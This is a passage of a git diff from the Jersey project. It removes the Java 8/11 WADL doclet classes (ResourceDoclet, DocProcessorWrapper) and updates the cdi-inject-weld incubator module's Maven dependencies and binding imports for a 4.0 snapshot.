-     *                     {@link org.glassfish.jersey.server.wadl.WadlGenerator}s.
-     */
-    void processClassDoc(ClassDoc classDoc, ClassDocType classDocType);
-
-    /**
-     * Process the provided methodDoc and add your custom information to the methodDocType.<br>
-     * Use e.g. {@link MethodDocType#getAny()} to store custom elements.
-     *
-     * @param methodDoc     the {@link MethodDoc} representing the docs of your method.
-     * @param methodDocType the related {@link MethodDocType} that will later be processed by the
-     *                      {@link org.glassfish.jersey.server.wadl.WadlGenerator}s.
-     */
-    void processMethodDoc(MethodDoc methodDoc, MethodDocType methodDocType);
-
-    /**
-     * Use this method to extend the provided {@link ParamDocType} with the information from the
-     * given {@link ParamTag} and {@link Parameter}.
-     *
-     * @param paramTag     the parameter javadoc
-     * @param parameter    the parameter (that is documented or not)
-     * @param paramDocType the {@link ParamDocType} to extend. This will later be processed by the
-     *                     {@link org.glassfish.jersey.server.wadl.WadlGenerator}s.
-     */
-    void processParamTag(ParamTag paramTag, Parameter parameter, ParamDocType paramDocType);
-
-}
diff --git a/ext/wadl-doclet/src/main/java8_11/org/glassfish/jersey/wadl/doclet/DocProcessorWrapper.java b/ext/wadl-doclet/src/main/java8_11/org/glassfish/jersey/wadl/doclet/DocProcessorWrapper.java
deleted file mode 100644
index e982e84..0000000
--- a/ext/wadl-doclet/src/main/java8_11/org/glassfish/jersey/wadl/doclet/DocProcessorWrapper.java
+++ /dev/null
@@ -1,104 +0,0 @@
-/*
- * Copyright (c) 2010, 2019 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.wadl.doclet;
-
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.List;
-
-import org.glassfish.jersey.server.wadl.internal.generators.resourcedoc.model.ClassDocType;
-import org.glassfish.jersey.server.wadl.internal.generators.resourcedoc.model.MethodDocType;
-import org.glassfish.jersey.server.wadl.internal.generators.resourcedoc.model.ParamDocType;
-
-import com.sun.javadoc.ClassDoc;
-import com.sun.javadoc.MethodDoc;
-import com.sun.javadoc.ParamTag;
-import com.sun.javadoc.Parameter;
-
-/**
- * This {@link DocProcessor} wraps multiple {@code DocProcessor}s.
- *
- * @author Martin Grotzke (martin.grotzke at freiheit.com)
- */
-public class DocProcessorWrapper implements DocProcessor {
-
-    private final List<DocProcessor> _docProcessors;
-
-    /**
-     * Create new {@code DocProcessorWrapper} instance.
-     */
-    public DocProcessorWrapper() {
-        _docProcessors = new ArrayList<>();
-    }
-
-    /**
-     * Add a new  {@code DocProcessor} instance to the list of wrapped instances.
-     *
-     * @param docProcessor  {@code DocProcessor} instance to wrap.
-     */
-    void add(DocProcessor docProcessor) {
-        _docProcessors.add(docProcessor);
-    }
-
-    @Override
-    public Class<?>[] getRequiredJaxbContextClasses() {
-        final List<Class<?>> result = new ArrayList<>();
-        for (DocProcessor docProcessor : _docProcessors) {
-            final Class<?>[] requiredJaxbContextClasses = docProcessor.getRequiredJaxbContextClasses();
-            if (requiredJaxbContextClasses != null && requiredJaxbContextClasses.length > 0) {
-                result.addAll(Arrays.asList(requiredJaxbContextClasses));
-            }
-        }
-        return result.toArray(new Class<?>[result.size()]);
-    }
-
-    @Override
-    public String[] getCDataElements() {
-        final List<String> result = new ArrayList<>();
-        for (DocProcessor docProcessor : _docProcessors) {
-            final String[] cdataElements = docProcessor.getCDataElements();
-            if (cdataElements != null && cdataElements.length > 0) {
-                result.addAll(Arrays.asList(cdataElements));
-            }
-        }
-        return result.toArray(new String[result.size()]);
-    }
-
-    @Override
-    public void processClassDoc(ClassDoc classDoc, ClassDocType classDocType) {
-        for (DocProcessor docProcessor : _docProcessors) {
-            docProcessor.processClassDoc(classDoc, classDocType);
-        }
-    }
-
-    @Override
-    public void processMethodDoc(MethodDoc methodDoc,
-                                 MethodDocType methodDocType) {
-        for (DocProcessor docProcessor : _docProcessors) {
-            docProcessor.processMethodDoc(methodDoc, methodDocType);
-        }
-    }
-
-    @Override
-    public void processParamTag(ParamTag paramTag, Parameter parameter,
-                                ParamDocType paramDocType) {
-        for (DocProcessor docProcessor : _docProcessors) {
-            docProcessor.processParamTag(paramTag, parameter, paramDocType);
-        }
-    }
-
-}
diff --git a/ext/wadl-doclet/src/main/java8_11/org/glassfish/jersey/wadl/doclet/ResourceDoclet.java b/ext/wadl-doclet/src/main/java8_11/org/glassfish/jersey/wadl/doclet/ResourceDoclet.java
deleted file mode 100644
index f9f58c8..0000000
--- a/ext/wadl-doclet/src/main/java8_11/org/glassfish/jersey/wadl/doclet/ResourceDoclet.java
+++ /dev/null
@@ -1,512 +0,0 @@
-/*
- * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.wadl.doclet;
-
-import java.io.File;
-import java.io.OutputStream;
-import java.io.StringWriter;
-import java.lang.reflect.Array;
-import java.lang.reflect.Field;
-import java.net.MalformedURLException;
-import java.net.URL;
-import java.net.URLClassLoader;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.Collection;
-import java.util.HashMap;
-import java.util.Iterator;
-import java.util.List;
-import java.util.Map;
-import java.util.Map.Entry;
-import java.util.logging.Level;
-import java.util.logging.Logger;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-
-import javax.xml.namespace.QName;
-
-import org.glassfish.jersey.server.wadl.internal.generators.resourcedoc.model.AnnotationDocType;
-import org.glassfish.jersey.server.wadl.internal.generators.resourcedoc.model.ClassDocType;
-import org.glassfish.jersey.server.wadl.internal.generators.resourcedoc.model.MethodDocType;
-import org.glassfish.jersey.server.wadl.internal.generators.resourcedoc.model.NamedValueType;
-import org.glassfish.jersey.server.wadl.internal.generators.resourcedoc.model.ParamDocType;
-import org.glassfish.jersey.server.wadl.internal.generators.resourcedoc.model.RepresentationDocType;
-import org.glassfish.jersey.server.wadl.internal.generators.resourcedoc.model.RequestDocType;
-import org.glassfish.jersey.server.wadl.internal.generators.resourcedoc.model.ResourceDocType;
-import org.glassfish.jersey.server.wadl.internal.generators.resourcedoc.model.ResponseDocType;
-import org.glassfish.jersey.server.wadl.internal.generators.resourcedoc.model.WadlParamType;
-
-import com.sun.javadoc.AnnotationDesc;
-import com.sun.javadoc.AnnotationDesc.ElementValuePair;
-import com.sun.javadoc.ClassDoc;
-import com.sun.javadoc.DocErrorReporter;
-import com.sun.javadoc.MemberDoc;
-import com.sun.javadoc.MethodDoc;
-import com.sun.javadoc.ParamTag;
-import com.sun.javadoc.Parameter;
-import com.sun.javadoc.RootDoc;
-import com.sun.javadoc.SeeTag;
-import com.sun.javadoc.Tag;
-
-/**
- * Creates a resourcedoc XML file.
- * <p/>
- * <p>
- * The ResourceDoc file contains the javadoc documentation
- * of resource classes, so that this can be used for extending generated wadl with useful
- * documentation.
- * </p>
- *
- * @author <a href="mailto:martin.grotzke@freiheit.com">Martin Grotzke</a>
- */
-public class ResourceDoclet {
-
-    private static final Pattern PATTERN_RESPONSE_REPRESENTATION = Pattern.compile("@response\\.representation\\.([\\d]+)\\..*");
-    private static final String OPTION_OUTPUT = "-output";
-    private static final String OPTION_CLASSPATH = "-classpath";
-    private static final String OPTION_DOC_PROCESSORS = "-processors";
-
-    private static final Logger LOG = Logger.getLogger(ResourceDoclet.class.getName());
-
-    /**
-     * Start the doclet.
-     *
-     * @param root the root JavaDoc document.
-     * @return true if no exception is thrown.
-     */
-    public static boolean start(final RootDoc root) {
-        boolean success = true;
-        final String output = getOptionArg(root.options(), OPTION_OUTPUT);
-
-        final String classpath = getOptionArg(root.options(), OPTION_CLASSPATH);
-        // LOG.info( "Have classpath: " + classpath );
-        final String[] classpathElements = classpath.split(File.pathSeparator);
-
-        final ClassLoader cl = Thread.currentThread().getContextClassLoader();
-        final ClassLoader ncl = new Loader(classpathElements,
-                ResourceDoclet.class.getClassLoader());
-        Thread.currentThread().setContextClassLoader(ncl);
-
-        final String docProcessorOption = getOptionArg(root.options(), OPTION_DOC_PROCESSORS);
-        final String[] docProcessors = docProcessorOption != null ? docProcessorOption.split(":") : null;
-        final DocProcessorWrapper docProcessor = new DocProcessorWrapper();
-        try {
-            if (docProcessors != null && docProcessors.length > 0) {
-                final Class<?> clazz = Class.forName(docProcessors[0], true, Thread.currentThread().getContextClassLoader());
-                final Class<? extends DocProcessor> dpClazz = clazz.asSubclass(DocProcessor.class);
-                docProcessor.add(dpClazz.newInstance());
-            }
-        } catch (final Exception e) {
-            LOG.log(Level.SEVERE, "Could not load docProcessors " + docProcessorOption, e);
-        }
-
-        try {
-            final ResourceDocType result = new ResourceDocType();
-
-            final ClassDoc[] classes = root.classes();
-            for (final ClassDoc classDoc : classes) {
-                LOG.fine("Writing class " + classDoc.qualifiedTypeName());
-                final ClassDocType classDocType = new ClassDocType();
-                classDocType.setClassName(classDoc.qualifiedTypeName());
-                classDocType.setCommentText(classDoc.commentText());
-                docProcessor.processClassDoc(classDoc, classDocType);
-
-                for (final MethodDoc methodDoc : classDoc.methods()) {
-
-                    final MethodDocType methodDocType = new MethodDocType();
-                    methodDocType.setMethodName(methodDoc.name());
-                    methodDocType.setMethodSignature(methodDoc.signature());
-                    methodDocType.setCommentText(methodDoc.commentText());
-                    docProcessor.processMethodDoc(methodDoc, methodDocType);
-
-                    addParamDocs(methodDoc, methodDocType, docProcessor);
-
-                    addRequestRepresentationDoc(methodDoc, methodDocType);
-
-                    addResponseDoc(methodDoc, methodDocType);
-
-                    classDocType.getMethodDocs().add(methodDocType);
-                }
-
-                result.getDocs().add(classDocType);
-            }
-
-            success = DocletUtils.createOutputFile(output, docProcessor, result);
-        } finally {
-            Thread.currentThread().setContextClassLoader(cl);
-        }
-
-        return success;
-    }
-
-    private static void addResponseDoc(final MethodDoc methodDoc,
-                                       final MethodDocType methodDocType) {
-
-        final ResponseDocType responseDoc = new ResponseDocType();
-
-        final Tag returnTag = getSingleTagOrNull(methodDoc, "return");
-        if (returnTag != null) {
-            responseDoc.setReturnDoc(returnTag.text());
-        }
-
-        final Tag[] responseParamTags = methodDoc.tags("response.param");
-        for (final Tag responseParamTag : responseParamTags) {
-            // LOG.info( "Have responseparam tag: " + print( responseParamTag ) );
-            final WadlParamType wadlParam = new WadlParamType();
-            for (final Tag inlineTag : responseParamTag.inlineTags()) {
-                final String tagName = inlineTag.name();
-                final String tagText = inlineTag.text();
-                /* skip empty tags
-                 */
-                if (isEmpty(tagText)) {
-                    if (LOG.isLoggable(Level.FINE)) {
-                        LOG.fine("Skipping empty inline tag of @response.param in method "
-                                + methodDoc.qualifiedName() + ": " + tagName);
-                    }
-                    continue;
-                }
-                switch (tagName) {
-                    case "@name":
-                        wadlParam.setName(tagText);
-                        break;
-                    case "@style":
-                        wadlParam.setStyle(tagText);
-                        break;
-                    case "@type":
-                        wadlParam.setType(QName.valueOf(tagText));
-                        break;
-                    case "@doc":
-                        wadlParam.setDoc(tagText);
-                        break;
-                    default:
-                        LOG.warning("Unknown inline tag of @response.param in method "
-                                + methodDoc.qualifiedName() + ": " + tagName
-                                + " (value: " + tagText + ")");
-                        break;
-                }
-            }
-            responseDoc.getWadlParams().add(wadlParam);
-        }
-
-        final Map<String, List<Tag>> tagsByStatus = getResponseRepresentationTags(methodDoc);
-        for (final Entry<String, List<Tag>> entry : tagsByStatus.entrySet()) {
-            final RepresentationDocType representationDoc = new RepresentationDocType();
-            representationDoc.setStatus(Long.valueOf(entry.getKey()));
-            for (final Tag tag : entry.getValue()) {
-                if (tag.name().endsWith(".qname")) {
-                    representationDoc.setElement(QName.valueOf(tag.text()));
-                } else if (tag.name().endsWith(".mediaType")) {
-                    representationDoc.setMediaType(tag.text());
-                } else if (tag.name().endsWith(".example")) {
-                    representationDoc.setExample(getSerializedExample(tag));
-                } else if (tag.name().endsWith(".doc")) {
-                    representationDoc.setDoc(tag.text());
-                } else {
-                    LOG.warning("Unknown response representation tag " + tag.name());
-                }
-            }
-            responseDoc.getRepresentations().add(representationDoc);
-        }
-
-        methodDocType.setResponseDoc(responseDoc);
-    }
-
-    private static boolean isEmpty(final String value) {
-        return value == null || value.isEmpty() || value.trim().isEmpty();
-    }
-
-    private static void addRequestRepresentationDoc(final MethodDoc methodDoc,
-                                                    final MethodDocType methodDocType) {
-        final Tag requestElement = getSingleTagOrNull(methodDoc, "request.representation.qname");
-        final Tag requestExample = getSingleTagOrNull(methodDoc, "request.representation.example");
-        if (requestElement != null || requestExample != null) {
-            final RequestDocType requestDoc = new RequestDocType();
-            final RepresentationDocType representationDoc = new RepresentationDocType();
-
-            /* requestElement exists
-             */
-            if (requestElement != null) {
-                representationDoc.setElement(QName.valueOf(requestElement.text()));
-            }
-
-            /* requestExample exists
-             */
-            if (requestExample != null) {
-                final String example = getSerializedExample(requestExample);
-                if (!isEmpty(example)) {
-                    representationDoc.setExample(example);
-                } else {
-                    LOG.warning("Could not get serialized example for method " + methodDoc.qualifiedName());
-                }
-            }
-
-            requestDoc.setRepresentationDoc(representationDoc);
-            methodDocType.setRequestDoc(requestDoc);
-        }
-    }
-
-    private static Map<String, List<Tag>> getResponseRepresentationTags(final MethodDoc methodDoc) {
-        final Map<String, List<Tag>> tagsByStatus = new HashMap<>();
-        for (final Tag tag : methodDoc.tags()) {
-            final Matcher matcher = PATTERN_RESPONSE_REPRESENTATION.matcher(tag.name());
-            if (matcher.matches()) {
-                final String status = matcher.group(1);
-                List<Tag> tags = tagsByStatus.get(status);
-                if (tags == null) {
-                    tags = new ArrayList<>();
-                    tagsByStatus.put(status, tags);
-                }
-                tags.add(tag);
-            }
-        }
-        return tagsByStatus;
-    }
-
-    /**
-     * Searches an <code>@link</code> tag within the inline tags of the specified tag
-     * and serializes the referenced instance.
-     *
-     * @param tag the tag containing the inline tags to be searched.
-     * @return the {@code String} representation of the {@link com.sun.javadoc.Tag} or null if the parameter is null.
-     */
-    private static String getSerializedExample(final Tag tag) {
-        if (tag != null) {
-            final Tag[] inlineTags = tag.inlineTags();
-            if (inlineTags != null && inlineTags.length > 0) {
-                for (final Tag inlineTag : inlineTags) {
-                    if (LOG.isLoggable(Level.FINE)) {
-                        LOG.fine("Have inline tag: " + print(inlineTag));
-                    }
-                    if ("@link".equals(inlineTag.name())) {
-                        if (LOG.isLoggable(Level.FINE)) {
-                            LOG.fine("Have link: " + print(inlineTag));
-                        }
-                        final SeeTag linkTag = (SeeTag) inlineTag;
-                        return getSerializedLinkFromTag(linkTag);
-                    } else if (!isEmpty(inlineTag.text())) {
-                        return inlineTag.text();
-                    }
-                }
-            } else {
-                LOG.fine("Have example: " + print(tag));
-                return tag.text();
-            }
-        }
-        return null;
-    }
-
-    private static Tag getSingleTagOrNull(final MethodDoc methodDoc, final String tagName) {
-        final Tag[] tags = methodDoc.tags(tagName);
-        if (tags != null && tags.length == 1) {
-            return tags[0];
-        }
-        return null;
-    }
-
-    private static void addParamDocs(final MethodDoc methodDoc,
-                                     final MethodDocType methodDocType,
-                                     final DocProcessor docProcessor) {
-        final Parameter[] parameters = methodDoc.parameters();
-        final ParamTag[] paramTags = methodDoc.paramTags();
-
-        /* only use both javadoc and reflection information when the number
-         * of params are the same
-         */
-        if (parameters != null && paramTags != null
-                && parameters.length == paramTags.length) {
-
-            for (int i = 0; i < parameters.length; i++) {
-                final Parameter parameter = parameters[i];
-
-                /* TODO: this only works if the params and tags are in the same
-                 * order. If the param tags are mixed up, the comments for parameters
-                 * will be wrong.
-                 */
-                final ParamTag paramTag = paramTags[i];
-
-                final ParamDocType paramDocType = new ParamDocType();
-                paramDocType.setParamName(paramTag.parameterName());
-                paramDocType.setCommentText(paramTag.parameterComment());
-                docProcessor.processParamTag(paramTag, parameter, paramDocType);
-
-                final AnnotationDesc[] annotations = parameter.annotations();
-                if (annotations != null) {
-                    for (final AnnotationDesc annotationDesc : annotations) {
-                        final AnnotationDocType annotationDocType = new AnnotationDocType();
-                        final String typeName = annotationDesc.annotationType().qualifiedName();
-                        annotationDocType.setAnnotationTypeName(typeName);
-                        for (final ElementValuePair elementValuePair : annotationDesc.elementValues()) {
-                            final NamedValueType namedValueType = new NamedValueType();
-                            namedValueType.setName(elementValuePair.element().name());
-                            namedValueType.setValue(elementValuePair.value().value().toString());
-                            annotationDocType.getAttributeDocs().add(namedValueType);
-                        }
-                        paramDocType.getAnnotationDocs().add(annotationDocType);
-                    }
-                }
-
-                methodDocType.getParamDocs().add(paramDocType);
-
-            }
-
-        }
-    }
-
-    private static String getSerializedLinkFromTag(final SeeTag linkTag) {
-        final MemberDoc referencedMember = linkTag.referencedMember();
-
-        if (referencedMember == null) {
-            throw new NullPointerException("Referenced member of @link " + print(linkTag) + " cannot be resolved.");
-        }
-
-        if (!referencedMember.isStatic()) {
-            LOG.warning("Referenced member of @link " + print(linkTag) + " is not static."
-                    + " Right now only references to static members are supported.");
-            return null;
-        }
-
-        /* Get referenced example bean
-         */
-        final ClassDoc containingClass = referencedMember.containingClass();
-        return DocletUtils.getLinkClass(containingClass.qualifiedName(), referencedMember.name());
-    }
-
-    private static String print(final Tag tag) {
-        return String.valueOf(tag.getClass()) + "["
-                + "firstSentenceTags=" + toCSV(tag.firstSentenceTags())
-                + ", inlineTags=" + toCSV(tag.inlineTags())
-                + ", kind=" + tag.kind()
-                + ", name=" + tag.name()
-                + ", text=" + tag.text()
-                + "]";
-    }
-
-    static String toCSV(final Tag[] items) {
-        if (items == null) {
-            return null;
-        }
-        return toCSV(Arrays.asList(items));
-    }
-
-    static String toCSV(final Collection<Tag> items) {
-        return toCSV(items, ", ", null);
-    }
-
-    static String toCSV(final Collection<Tag> items, final String separator, final String delimiter) {
-        if (items == null) {
-            return null;
-        }
-        if (items.isEmpty()) {
-            return "";
-        }
-        final StringBuilder sb = new StringBuilder();
-        for (final Iterator<Tag> iter = items.iterator(); iter.hasNext(); ) {
-            if (delimiter != null) {
-                sb.append(delimiter);
-            }
-            final Tag item = iter.next();
-            sb.append(item.name());
-            if (delimiter != null) {
-                sb.append(delimiter);
-            }
-            if (iter.hasNext()) {
-                sb.append(separator);
-            }
-        }
-        return sb.toString();
-    }
-
-    /**
-     * Return array length for given option: 1 + the number of arguments that
-     * the option takes.
-     *
-     * @param option option
-     * @return the number of args for the specified option
-     */
-    public static int optionLength(final String option) {
-        LOG.fine("Invoked with option " + option);
-
-        if (OPTION_OUTPUT.equals(option)
-                || OPTION_CLASSPATH.equals(option)
-                || OPTION_DOC_PROCESSORS.equals(option)) {
-            return 2;
-        }
-
-        return 0;
-    }
-
-    /**
-     * Validate options.
-     *
-     * @param options  options to be validated
-     * @param reporter {@link com.sun.javadoc.DocErrorReporter} for collecting eventual errors
-     * @return if the specified options are valid
-     */
-    public static boolean validOptions(final String[][] options, final DocErrorReporter reporter) {
-        return validOption(OPTION_OUTPUT, "<path-to-file>", options, reporter)
-                && validOption(OPTION_CLASSPATH, "<path>", options, reporter);
-    }
-
-    private static boolean validOption(final String optionName,
-                                       final String reportOptionName,
-                                       final String[][] options,
-                                       final DocErrorReporter reporter) {
-        final String option = getOptionArg(options, optionName);
-
-        final boolean foundOption = option != null && !option.trim().isEmpty();
-        if (!foundOption) {
-            reporter.printError(optionName + " " + reportOptionName + " must be specified.");
-        }
-        return foundOption;
-    }
-
-    private static String getOptionArg(final String[][] options, final String option) {
-
-        for (final String[] opt : options) {
-            if (opt[0].equals(option)) {
-                return opt[1];
-            }
-        }
-
-        return null;
-    }
-
-    static class Loader extends URLClassLoader {
-
-        public Loader(final String[] paths, final ClassLoader parent) {
-            super(getURLs(paths), parent);
-        }
-
-        Loader(final String[] paths) {
-            super(getURLs(paths));
-        }
-
-        private static URL[] getURLs(final String[] paths) {
-            final List<URL> urls = new ArrayList<>();
-            for (final String path : paths) {
-                try {
-                    urls.add(new File(path).toURI().toURL());
-                } catch (final MalformedURLException e) {
-                    throw new RuntimeException(e);
-                }
-            }
-            return urls.toArray(new URL[urls.size()]);
-        }
-
-    }
-
-}
\ No newline at end of file
diff --git a/incubator/cdi-inject-weld/pom.xml b/incubator/cdi-inject-weld/pom.xml
index 07e11fb..952a3f4 100644
--- a/incubator/cdi-inject-weld/pom.xml
+++ b/incubator/cdi-inject-weld/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.incubator</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-cdi-inject-weld</artifactId>
@@ -49,18 +49,26 @@
             <version>${project.version}</version>
         </dependency>
 
+        <!-- Test Servlet BootstrapPreinitialization -->
         <dependency>
             <groupId>org.glassfish.jersey.containers</groupId>
             <artifactId>jersey-container-servlet-core</artifactId>
             <version>${project.version}</version>
-            <scope>provided</scope>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>jakarta.persistence</groupId>
+            <artifactId>jakarta.persistence-api</artifactId>
+            <scope>test</scope>
         </dependency>
 
         <dependency>
             <groupId>jakarta.servlet</groupId>
             <artifactId>jakarta.servlet-api</artifactId>
-            <scope>provided</scope>
+            <scope>test</scope>
         </dependency>
+        <!-- End of Test Servlet BootstrapPreinitialization -->
+
         <dependency>
             <groupId>org.glassfish.jersey.containers</groupId>
             <artifactId>jersey-container-grizzly2-http</artifactId>
@@ -94,6 +102,11 @@
             <artifactId>jakarta.el-api</artifactId>
             <scope>test</scope>
         </dependency>
+
+        <dependency>
+            <groupId>com.sun.xml.bind</groupId>
+            <artifactId>jaxb-osgi</artifactId>
+        </dependency>
     </dependencies>
 
     <build>
@@ -127,12 +140,13 @@
                             org.glassfish.jersey.inject.weld.managed.*;version=${project.version}
                         </Export-Package>
                         <Import-Package>
-                            jakarta.servlet.*;version="[5.0,7.0)",
+                            jakarta.servlet.*;version="[6.0,7.0)",
                             sun.misc.*;resolution:=optional,
                             ${jakarta.annotation.osgi.version},
                             ${cdi.osgi.version},
-                            jakarta.decorator.*;version="[3.0,5)",
+                            ${jakarta.decorator.osgi.version},
                             ${jakarta.annotation.osgi.version},
+                            ${jakarta.rest.osgi.version},
                             *
                         </Import-Package>
                     </instructions>
diff --git a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/BeanHelper.java b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/BeanHelper.java
index a1c5032..2cf81a0 100644
--- a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/BeanHelper.java
+++ b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/BeanHelper.java
@@ -42,10 +42,10 @@
 import org.glassfish.jersey.inject.weld.internal.injector.JerseyInjectionTarget;
 import org.glassfish.jersey.inject.weld.internal.injector.JerseyTwofoldInstantiator;
 import org.glassfish.jersey.inject.weld.internal.injector.WrappingJerseyInjectionTarget;
-import org.glassfish.jersey.internal.inject.ClassBinding;
+import org.glassfish.jersey.innate.inject.ClassBinding;
+import org.glassfish.jersey.innate.inject.SupplierClassBinding;
 import org.glassfish.jersey.internal.inject.InjectionResolver;
 import org.glassfish.jersey.internal.inject.PerThread;
-import org.glassfish.jersey.internal.inject.SupplierClassBinding;
 
 import org.jboss.weld.annotated.enhanced.EnhancedAnnotatedConstructor;
 import org.jboss.weld.annotated.enhanced.EnhancedAnnotatedType;
diff --git a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/ClassBean.java b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/ClassBean.java
index d7bfc8c..15e7bca 100644
--- a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/ClassBean.java
+++ b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/ClassBean.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -29,7 +29,7 @@
 import jakarta.ws.rs.RuntimeType;
 
 import org.glassfish.jersey.inject.weld.internal.injector.JerseyInjectionTarget;
-import org.glassfish.jersey.internal.inject.ClassBinding;
+import org.glassfish.jersey.innate.inject.ClassBinding;
 
 /**
  * Creates an implementation of {@link jakarta.enterprise.inject.spi.Bean} interface using Jersey's {@link ClassBinding}. Binding
@@ -60,7 +60,7 @@
  *
  * @author Petr Bouda
  */
-class ClassBean<T> extends JerseyBean<T> {
+public class ClassBean<T> extends JerseyBean<T> {
 
     private final ClassBinding<T> binding;
     private InjectionTarget<T> injectionTarget;
@@ -90,6 +90,12 @@
     @Override
     @SuppressWarnings("unchecked")
     public T create(CreationalContext<T> context) {
+//        ClassBinding<T> realBinding = (ClassBinding<T>) getBinding();
+//        if (JerseyClientCreationalContext.class.isInstance(context)) {
+//            realBinding = ((JerseyClientCreationalContext) context)
+//                  .getInjectionManager().getInjectionManagerBinding(realBinding);
+//        }
+//        T service = realBinding.getService();
         T instance = injectionTarget.produce(context);
         injectionTarget.inject(instance, context);
         injectionTarget.postConstruct(instance);
diff --git a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/InitializableInstanceBean.java b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/InitializableInstanceBean.java
index cf0dd3d..aa5afd9 100644
--- a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/InitializableInstanceBean.java
+++ b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/InitializableInstanceBean.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,6 +22,8 @@
 
 import org.glassfish.jersey.inject.weld.internal.inject.InitializableInstanceBinding;
 import org.glassfish.jersey.inject.weld.internal.injector.JerseyClientCreationalContext;
+import org.glassfish.jersey.inject.weld.internal.managed.CdiClientInjectionManager;
+import org.glassfish.jersey.inject.weld.internal.managed.ContextSafe;
 
 import java.lang.annotation.Annotation;
 
@@ -52,6 +54,11 @@
         InitializableInstanceBinding<T> realBinding = (InitializableInstanceBinding<T>) getBinding();
         if (JerseyClientCreationalContext.class.isInstance(context)) {
             realBinding = ((JerseyClientCreationalContext) context).getInjectionManager().getInjectionManagerBinding(realBinding);
+        } else {
+            CdiClientInjectionManager locked = ContextSafe.get();
+            if (locked != null) {
+                realBinding = locked.getInjectionManagerBinding(realBinding);
+            }
         }
         T service = realBinding.getService();
         this.injectionTarget.inject(service, context);
@@ -75,6 +82,6 @@
 
     @Override
     public String toString() {
-        return "InitializableInstanceBean{" + getBeanClass() + "}";
+        return getBinding().toString();
     }
 }
diff --git a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/InitializableSupplierInstanceBean.java b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/InitializableSupplierInstanceBean.java
index d42ca44..7f03295 100644
--- a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/InitializableSupplierInstanceBean.java
+++ b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/InitializableSupplierInstanceBean.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,9 +23,11 @@
 import org.glassfish.jersey.inject.weld.internal.inject.InitializableSupplierInstanceBinding;
 import org.glassfish.jersey.inject.weld.internal.injector.JerseyClientCreationalContext;
 import org.glassfish.jersey.inject.weld.internal.injector.JerseyInjectionTarget;
+import org.glassfish.jersey.inject.weld.internal.managed.CdiClientInjectionManager;
+import org.glassfish.jersey.inject.weld.internal.managed.ContextSafe;
 import org.glassfish.jersey.inject.weld.internal.type.ParameterizedTypeImpl;
+import org.glassfish.jersey.innate.inject.SupplierInstanceBinding;
 import org.glassfish.jersey.internal.inject.DisposableSupplier;
-import org.glassfish.jersey.internal.inject.SupplierInstanceBinding;
 
 import java.lang.annotation.Annotation;
 import java.lang.reflect.Type;
@@ -101,6 +103,12 @@
             final JerseyClientCreationalContext jerseyContext = (JerseyClientCreationalContext) context;
             return jerseyContext.getInjectionManager().getInjectionManagerBinding(binding).getSupplier();
         } else {
+            CdiClientInjectionManager locked = ContextSafe.get();
+            if (locked != null) {
+                return locked
